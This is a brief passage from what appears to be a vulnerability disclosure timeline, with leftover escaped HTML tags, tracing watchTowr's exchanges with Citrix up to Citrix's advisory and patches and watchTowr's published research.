\nwatchTowr again requests update from Citrix<\/p>\n
\nCitrix advises that a fix is being developed<\/p>\n
\nCitrix advise they expect to publish on 29th June<\/p>\n
\nCitrix advises that a fix may be delayed by \u2018a few days\u2019; watchTowr responds that this is acceptable<\/p>\n
\nCitrix publish advisory and patches<\/p>\n
\nwatchTowr publishes research, and memes<\/p>\n